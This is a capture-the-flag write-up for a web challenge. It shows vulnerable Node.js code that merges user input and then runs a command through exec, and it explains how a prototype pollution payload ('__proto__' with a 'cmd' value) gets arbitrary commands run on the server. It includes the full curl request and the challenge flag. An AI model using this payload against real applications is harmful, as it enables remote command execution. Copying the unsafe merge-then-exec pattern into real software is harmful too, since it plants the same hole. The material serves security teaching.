For this assignment, we had the page and code for this site. On the site, we can add fields and then create a company or edit it (absorb it).
We’ll open dev tools to see what the requests look like. We notice a very interesting thing, namely that with absorbCompany
the request returns a JSON containing stderr
with the message /bin/sh: 1: ./merger.sh: Permission denied\n
. This means that the script merger.sh
is executed on the server.
Thanks to the fact that we have the source code, we can take a closer look at what’s going on:
function isObject(obj) {
return typeof obj === 'function' || typeof obj === 'object';
}
var secret = {}
const { exec } = require('child_process');
process.on('message', function (m) {
let data = m.data;
let orig = m.orig;
for (let k = 0; k < Math.min(data.attributes.length, data.values.length); k++) {
if (!(orig[data.attributes[k]] === undefined) && isObject(orig[data.attributes[k]]) && isObject(data.values[k])) {
for (const key in data.values[k]) {
orig[data.attributes[k]][key] = data.values[k][key];
}
} else if (!(orig[data.attributes[k]] === undefined) && Array.isArray(orig[data.attributes[k]]) && Array.isArray(data.values[k])) {
orig[data.attributes[k]] = orig[data.attributes[k]].concat(data.values[k]);
} else {
orig[data.attributes[k]] = data.values[k];
}
}
cmd = "./merger.sh";
if (secret.cmd != null) {
cmd = secret.cmd;
}
var test = exec(cmd, (err, stdout, stderr) => {
retObj = {};
retObj['merged'] = orig;
retObj['err'] = err;
retObj['stdout'] = stdout;
retObj['stderr'] = stderr;
process.send(retObj);
});
console.log(test);
});
Looking at it for the first time, we might not say there would be a bug since there is no way to replace cmd
. However… this is not true because of JS. In JS there is something called prototype pollution attack. For example, you can find more here
So we can exploit this attack and send a POST request with this body:
{
"attributes": ["__proto__"],
"values": [{ "cmd": "cat flag.txt" }]
}
The flag.txt
probably exists, since it is also in our codebase.
#!/bin/bash
curl 'http://guppy.utctf.live:8725/api/absorbCompany/0' \
-H 'Accept: */*' \
-H 'Accept-Language: en-GB,en;q=0.9,sk-SK;q=0.8,sk;q=0.7,en-US;q=0.6' \
-H 'Connection: keep-alive' \
-H 'Content-Type: application/json' \
-H 'Cookie: connect.sid=YOURSID' \
-H 'Origin: http://guppy.utctf.live:8725' \
-H 'Referer: http://guppy.utctf.live:8725/' \
-H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36' \
--data-raw '{"attributes":["__proto__"],"values":[{"cmd": "cat flag.txt"}]}' \
--insecure
And we get the flag in the stdout field:
utflag{p0lluted_b4ckdoorz_and_m0r3}